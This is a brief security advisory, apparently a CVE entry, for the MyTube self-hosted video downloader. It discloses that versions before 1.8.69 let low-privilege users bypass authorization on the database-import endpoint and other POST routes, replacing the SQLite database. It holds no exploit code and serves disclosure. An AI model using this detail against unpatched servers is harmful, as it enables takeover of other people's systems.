Description

MyTube is a self-hosted downloader and player for several video websites Prior to version 1.8.69, an authorization bypass in the `/api/settings/import-database` endpoint allows attackers with low-privilege credentials to upload and replace the application's SQLite database entirely, leading to a full compromise of the application. The bypass is relevant for other POST routes as well. Version 1.8.69 fixes the issue.
